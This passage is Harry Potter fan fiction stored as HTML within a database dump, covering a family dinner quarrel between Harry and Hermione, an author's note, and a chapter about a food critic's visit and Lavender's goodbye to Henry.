James\ngrowled. Harry glared back while Alexa stifled a giggle and Hermione simply\nlooked embarrassed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, but\nDudley had his hands on my girlfriend.&#8221; Harry said calmly, while shooting daggers\nat his cousin. &#8220;I told him earlier to stop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Vernon grunted\nand Petunia simply looked over at Lily and resumed her conversation. Harry went\nred with fury, but Hermione placed a hand on his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay\nHarry.&#8221; She said quietly, looking up at him. He nodded slightly and she managed\na small smile. Inside however, he was still extremely pissed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would anyone\nlike more caramel?&#8221; Lily asked, trying to recover the easy atmosphere from\nbefore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I would.&#8221;\nVernon said. Parvati came forward with a silver dish and began to spoon some\nonto his plate, but instead drizzled it all over his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh honestly!&#8221;\nPetunia cut in scornfully, casting a nasty look at Parvati. &#8220;Is she a local?&#8221;\nshe asked Lily, who nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m very sorry\nsir, ma&#8217;am.&#8221; Parvati said respectfully and almost tearfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, no\nwonder.&#8221; Petunia went on, ignoring Parvati&#8217;s apology. &#8220;I would never hire a\nlocal, they&#8217;re simply too pathetic&#8230;. wretched&#8230;sleazy&#8230;and poor&#8230;they&#8217;re all gold\ndiggers who look for nothing but a thick wallet&#8230;&#8221; Petunia rattled on as she\ntried to clean her husband&#8217;s arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bowed\nher head, feeling the comments were aimed at her. She bit her lower lip,\nfeeling rage building up in her at the obscene comments of this Muggle woman.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up,\nPetunia!&#8221; Harry finally roared. His aunt let her mouth hang limply open;\neveryone in the room stared at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s ENOUGH\nHarry!&#8221; James said, dropping his fork down with a loud clang.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, I&#8217;m just\nsupposed to be quiet and sit there and let her go on and on?&#8221; Harry asked,\nfully enraged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You will not be\nrude to our guests!&#8221; James said, his brown eyes going dark.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And they can be\nrude to me?&#8221; Harry asked, clenching his hand in a fist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Hermione\nsaid quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll handle\nthis, Hermione.&#8221; Harry said sharply. Hermione was taken aback; he&#8217;d never used\nthat tone at her before. &#8220;Petunia, you can&#8217;t even get Vernon to stay at home\nanymore, he can hardly stand you can he?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione squeezed\nher eyes shut and wished for everything to end. Alexa stared at her brother, amazed\nat his audacity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And my father&#8217;s\nbiggest frustration in life is that he can&#8217;t get me, he can&#8217;t get me to be\nexactly like him, he can&#8217;t get me to do what he wants.&#8221; Harry&#8217;s voice was loud\nand angry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You listen to\nme&#8230;&#8221; James began, his voice matching Harry&#8217;s exactly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you can&#8217;t\nmake a golden boy like me behave, how the hell is one of our trashy, sleazy,\nwretched, POOR town girls that aren\'t good for anything but screwing supposed\nto know what to do!&#8221; Harry yelled, directing his words both at his father and\naunt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt\ntears begin to build up behind her closed eyelids at Harry&#8217;s outburst. She had\na sneaking horrible suspicion about what it would come to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said that&#8217;s\nENOUGH, Harry James Potter!&#8221; James snapped, his eyes blazing even more fire\nthan before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, you got\nthe last word, right DAD?&#8221; Harry sneered. &#8220;I guess that means dinner is over!&#8221;\nwith those last words, Harry pulled the tablecloth out, smashing the crystal\ngoblets and tipping the candles over. Hermione screamed as red wine spilled\nonto her mother&#8217;s dress.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn you Harry!&#8221;\nshe yelled. Their eyes met for a split second and Harry was shocked to see\nhurt, dismay, and anger in hers. When he said nothing, she turned and ran from\nthe room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he\nfinally called out as he ran after her. She grabbed her cloak from the foyer\nand pulled the door open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She heard Harry\nbehind her but didn&#8217;t stop as she pulled the cloak over her stained dress and\nthen whipped around to face him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, look,\nI&#8217;m sorry&#8230;&#8221; Harry said, coming up to her. &#8220;They deserved that! I couldn&#8217;t let\nthem do that to you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione let out\na peal of dry laugher. &#8220;Me? You were thinking of me when you said all that?&#8221;\nshe asked sarcastically. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They were being\nassholes!&#8221; Harry cried. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The only asshole\nat that table was YOU Harry!&#8221; Hermione wiped away a tear that began to fall\ndown her cheek. &#8220;They were just being themselves! I could have handled all that\nif you had just kept quiet!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s not\ntrue.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My ASS it&#8217;s\nnot!&#8221; Hermione screamed. &#8220;You planned this, didn&#8217;t you! You wanted me to be\nthere tonight, your poor, trashy girlfriend. You wanted to shake up your family\na little!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, Hermione,\nthat&#8217;s not the reason I wanted you here.&#8221; Harry began but Hermione cut him off\nwith a wave of her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, I know I&#8217;m\npoor, and I&#8217;ll admit I hate it.&#8221; She sniffed. &#8220;I even thought I was desperate\nsometimes, but not nearly as bad as you are. And how could you say that I&#8217;m\nonly good for sleeping with?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I\nwasn&#8217;t saying that about you I &#8211;&#8220; Harry tried to talk but she interrupted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I would NEVER,\nEVER use you to get at someone.&#8221; Hermione said, tears now flowing freely. She\nglanced over and saw Parvati clambering on a broom. &#8220;Hey Parvati? Will you give\nme a ride?&#8221; she called out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Parvati\nsaid, making room for her on the stick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat Harry one more time. &#8220;I just want to go home.&#8221; She said, turning away from\nhim. Right now, it sounded like the best place on earth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: *WAH!* I\nthink to date that&#8217;s the worst thing I&#8217;ve had to write&#8230;I HATE making them fight\nI really do!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And before you\nflame, (which I hope you won&#8217;t!) I&#8217;ll tell you this&#8230;the make up scene I have\nplanned for them (like I&#8217;d really leave it like this) is absolutely fantastic,\nand it comes in two chapter&#8217;s time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please make sure\nand leave a review, there are THREE chapters left to this story and that&#8217;s\nit!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 17, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 17</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well, next\nchapter we get H/Hr again, this is mainly a filler chapter that&#8217;ll be short,\njust to move on to what comes up next&#8230;a big event. Can you guys guess what it\nis? And no, I&#8217;m not referring to the big event being H/Hr making up ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, be sure\nand read my other stories while you&#8217;re waiting, and Ryoko Blue&#8217;s, and of\ncourse, our co fics. Both those usernames you can find under my favourites\nlist. The Art of Seduction is our baby right now, thanks to Bookworm\nSweetheart! :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And like they say\nin the &#8216;biz&#8217;&#8230;. ON WITH THE SHOW!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Although the\nstain had come out of the ivory sheath with the help of several magic cleaning\nspells (and Lavender), Hermione didn&#8217;t think she&#8217;d ever be able to wear it\nagain. She&#8217;d sadly handed it back to her mother (who didn&#8217;t know about the wine\nescapade) and insisted she hang it back in her closet, and that maybe Lavender\nwould like to wear it. She literally became a zombie for the next week, not\neven leaving the house for work. Lavender and Susan covered her shifts without\ncomplaining.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender\nhesitantly knocked on Hermione&#8217;s closed bedroom door. She&#8217;d tried her hardest\nto comfort her cousin, she had yet to get the full story of what had transpired\nthat night at Harry&#8217;s, she only knew that they had fought. She also knew Susan\nwas growing more worried about her as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; she\ncalled softly. &#8220;Can I come in?&#8221; when she heard no answer, she turned the knob\nand went inside anyway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was\nsitting on the edge of her bed, staring out of the window. She didn&#8217;t flinch\nwhen her cousin sat down next to her, only continued looking straight ahead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender was\nshocked, to say the least. Hermione had never been one to let her appearance\ngo; yet she was sitting there with unkempt hair, her face pale and makeup free,\nand the same clothes she&#8217;d been wearing for two days straight. &#8220;Hermione, come\non, you&#8217;ve got to get yourself cleaned up.&#8221; She found herself saying. &#8220;Everyone\nwas asking about you at work today&#8230;Leonora misses you, she wants to know when\nyou&#8217;re coming back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione still\nsaid nothing, but her eyes flickered over to her cousin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Encouraged by\nthis, Lavender continued. &#8220;A few of the customers were even asking about you&#8230;&#8221;\nshe didn&#8217;t mention the fact that Harry had come in with flowers, to try and apologize.\nSusan had given him the cold shoulder, but Lavender had taken him aside and\nexplained that Hermione was sick and not able to come. She wouldn&#8217;t tell him\nthat it was only heartsickness. Her voice trailed off as they sat in silence a\ngood five minutes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t have\nto make me feel better Lavender, I know no one cares where I am.&#8221; Hermione\nfinally spoke, her tone dull.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s not true,\nHermione!&#8221; Lavender defended herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Has Harry come\nin?&#8221; Hermione asked perceptively. She turned her head fully to look at her\ncousin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;uh&#8230;&#8221;\nLavender stammered. Hermione glared at her, and she nodded quickly. &#8220;Yes, he\nhas. Three times.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione made a\nharsh noise in her throat and flopped back on her bed. &#8220;I really hope he doesn&#8217;t\njust expect me to forgive him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender laid\nback next to her. &#8220;What happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed\ndeeply. &#8220;Well, everything started out well enough, his parents were really very\nnice. I was especially nervous meeting his father, because Harry&#8217;s never said\nanything very good about him, but he was kind as can be, his mother too.&#8221; She\npaused for a moment. &#8220;It started with his aunt and cousin, they&#8217;re Muggles and\nas snotty as they come. Dudley, his cousin, started to check me out, and I\nthink that was when Harry started to get mad. Then the fat asshole actually put\nhis hand on my thigh!&#8221; Lavender gasped and Hermione continued. &#8220;Harry slapped\nhis head into the flamb&#233; we were eating, and then Parvati accidentally spilled\ncaramel on Harry&#8217;s uncle&#8217;s arm.&#8221; Lavender smiled a little at the mental image.\n&#8220;When his aunt started insulting the &#8216;local&#8217; girls, as she called us, he stood\nup and started yelling at everyone, even me.&#8221; Hermione sniffled a bit as she\nsat up again. &#8220;He used me to get back at his father, and that was the worst\npart about it.&#8221; Several fat tears rolled down her cheeks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221;\nLavender said, also sitting back up. She put a comforting arm around her\ncousin. &#8220;Why didn&#8217;t you tell me sooner?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t want to\ntrouble you.&#8221; Hermione said, grabbing a tissue off her nightstand and blowing\nher nose. &#8220;You have so much going on right now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe so, but\nHermione, I&#8217;m always here if you need to talk.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,\nLavender.&#8221; Hermione gave a teary smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was Hermione&#8217;s\nfirst day back at work in a week and a half. Unfortunately for her, the\nrestaurant was packed; people were waiting at the doors for tables to free up.\nShe still felt like moping, her mind was a million miles away and she kept\ngoofing up her orders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me miss,\nthis isn&#8217;t cooked!&#8221; one woman cried. Her cluster of friends echoed her\nsentiments, but when Hermione turned around, steam was rising off the pizza.\nShe gave the woman a strange look and turned back the other way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leonora rolled\nher eyes as she carried the uncooked pizza back into the kitchen, but she made\nno comment to Hermione. Lavender and Susan tried to stifle their laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione flipped\nto a new sheet on her parchment pad. &#8220;Hi, ready to order?&#8221; she came upon a man\nwho had been sitting there for at least fifteen minutes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, finally.&#8221;\nHe answered, his tone clipped and nasal. &#8220;The&#8230;Hogsmeade Pizza please&#8230;I assume\nthat&#8217;s your house special?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes widened\nas she saw who her customer was, none other than the Wizarding Warlock Food\nCritic! &#8220;Uh, yes&#8230;that&#8217;s our special, there&#8217;s nothing like it!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man only\nraised his eyebrows slightly and pulled out a tiny parchment pad, much like her\nown, along with a quill. He dismissed her with a wave of his hand, and Hermione\ndashed towards the kitchens. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh Merlin\nLeonora!&#8221; she gasped, swinging the doors open and nearly hitting Susan. &#8220;I need\nthe best pizza you&#8217;ve ever made!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What? Why?&#8221;\nLeonora asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because the\nWizarding Warlock Food Critic is here!&#8221; Hermione nearly shouted, pointing out\ninto the seating area.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leonora&#8217;s eyes\nwidened in panic for a moment, but then her face fell. &#8220;So what?&#8221; she answered.\n&#8220;I don&#8217;t need him to tell me my pizza is the best thing he&#8217;s ever tasted!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Leonora!&#8221; all\nthree girls were there now, looking at her pleadingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Leonora\nlooked down at the three pizzas she&#8217;d just pulled out. &#8220;Take your pick\nHermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grabbed\nthe one in the middle; it looked extra cheesy, with lots of mushrooms and\npepperoni on the top. She set it nicely in front of the man, and then slowly\nbacked away as he began to pull a slice from the pie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The three girls\nwatched breathlessly as he took a large bite. He chewed thoughtfully, and then\ntook another. Leonora held her breath and the girls watched closely as he\ngrabbed up his quill and wrote a few words down on his parchment. He went to\ntake another bite when he noticed all the employees were watching him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bent her\nhead and pretended to write something, and Lavender and Susan began to mess\nwith the glasses and plates behind the counter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The warlock\nturned away from them and took another bite, once again chewing slowly and he\nappeared to be thinking hard. He put the slice down and motioned to Hermione,\nwho went directly over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anything else?&#8221;\nshe asked, her palms sweating. &#8220;Shall I get a box for you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just the check\nplease.&#8221; Hermione cast a confused glance back at Leonora, and ripped the man&#8217;s\ncheck off her pad. &#8220;And your manager as well, I assume she is here?&#8221; he asked\ncoolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;right away.&#8221;\nHermione answered, and in three strides she was through the doors to the\nkitchens. &#8220;Leonora! He wants to speak with you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Leonora&#8217;s\neyes grew wide. &#8220;What about?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221;\nHermione replied. &#8220;He told me he wanted a word with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Merlin&#8217;s\nbeard&#8230;.&#8221; Leonora answered, wiping her hands on a clean cloth. She cast a\nworried glance back at the three girls, and went out to the seating area. The\nWizarding Warlock Food Critic spoke to her for a few moments, and then to the\nsurprise of Hermione, Susan and Lavender, they both went outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nthink he&#8217;s saying to her?&#8221; Susan asked, pressing her hands to the sides of her\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure he&#8217;s\ntelling her that it&#8217;s the best pizza he&#8217;s ever had.&#8221; Lavender replied loyally.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But he didn&#8217;t\neven eat a whole slice!&#8221; Hermione objected. &#8220;And he didn&#8217;t even want to take\nthe rest with him!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I know,\nbut&#8230;&#8221; Lavender trailed off as Leonora came back into the room, her face white\nas a ghost.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Leonora, what\nhappened?&#8221; Susan asked; she looked like she was ready to cry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8230;&#8221; Leonora sat\ndown heavily in a chair next to the door. &#8220;He loved it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHAT?&#8221; all three\ngirls screamed at once.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He told me&#8230;on\nthe next show&#8230;he&#8217;s going to recommend it&#8230;.&#8221; Leonora said weakly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a\nflurry of movement in the kitchen as all of them flew into one large tangle of\narms and legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Leonora, that&#8217;s\nwonderful!&#8221; Hermione screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll finally\nget the recognition you deserve!&#8221; Lavender said ecstatically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I can run\nthis place on when you retire!&#8221; Susan was excited. &#8220;Oh Leonora, this is\nwonderful!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The atmosphere in\nthe parlour was quite cheerful for the rest of that day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender was sitting\nat the kitchen table, finishing up some forms for University when Hermione\nappeared in the doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lav?&#8221; she said\ntentatively. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she\nscratched her signature at the bottom of the last form and looked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;Henry&#8217;s here.\nAt the door.&#8221; Hermione said. &#8220;I didn&#8217;t want to let him in&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender took a\ndeep breath. &#8220;It&#8217;s all right Hermione. I knew this had to be coming sometime.&#8221;\nShe scraped her chair back across the floor and brushed past her cousin into\nthe front hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry and Lori\nwere standing near the door; Lori seemingly excited to see her and Henry\nlooking awkward.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi.&#8221; Lavender\nsaid, more to Lori than Henry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Lavender.&#8221;\nHe was the one to reply. &#8220;Uh&#8230;Lori wanted to come and say goodbye.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She looked at\nHenry and gave a tiny nod, then squatted down. &#8220;Bye Lori&#8230;it&#8217;s been really fun\ngetting to know you.&#8221; She hugged the child tightly and swallowed down her\ntears. She would miss Lori a lot. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;I also\nwanted to give you this.&#8221; Henry held out a sack with her last pay inside, and a\nslip of parchment with a Gringotts seal. &#8220;This is for you, for University&#8230; you\ntake it to the bank and they&#8217;ll give you the gold.&#8221; he said. Lavender took\nthem. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; She\nsaid stiffly. &#8220;Goodbye Henry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah&#8230;I guess we\nshould go.&#8221; Henry said softly. He took Lori by the hand as they stepped out the\ndoor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye\nLavender....&#8221; Lori&#8217;s voice faded as the door swung shut behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione moved\nherself from behind the doorway to the entrance of the hallway. &#8220;Are you all\nright, Lav?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender went\npast her into the kitchen. She dropped the money sack on the table and unfolded\nthe note. Hermione went up behind her curiously, but before she could see how\nmuch the note was worth, Lavender had torn it up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Guilt money.&#8221;\nShe said, throwing the pieces to the floor. &#8220;I don&#8217;t want his pity.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded\nsympathetically as Lavender&#8217;s face crumpled. Wordlessly, she pulled her cousin\ninto a tight hug, letting her cry it out once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The house had a\nchill to it as the evening fell. Her mother insisted that she and Lavender\naccompany her out to dinner that night, as both her girls needed cheering up,\nbut Hermione had declined, choosing instead to pull on some flannel pyjama\ntrousers and a long sleeved t-shirt. She made herself some hot chocolate, and\nthen grabbed a book from her bureau and got comfortable in front of a roaring\nfire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She had been\nreading for about an hour when a knock sounded from the front door. Placing a\nmarker in her book, she left her warm seat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Alexa!&#8221; Hermione\nsaid in shock when she&#8217;d opened the door. She wasn&#8217;t sure who she&#8217;d been\nexpecting to see, but it certainly wasn&#8217;t Harry&#8217;s sister. &#8220;Please come in.&#8221; she\nsaid, stepping aside to let her through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Alexa\nsaid. She pulled off her cloak and tossed it on a chair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;&#8221; Hermione\nsaid once they sat down in the living room. &#8220;What brings you over here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wanted to talk\nto you about my brother.&#8221; Alexa replied. She was known for her way to cut right\nto the chase. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s face\nhardened. &#8220;Did he send you over here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 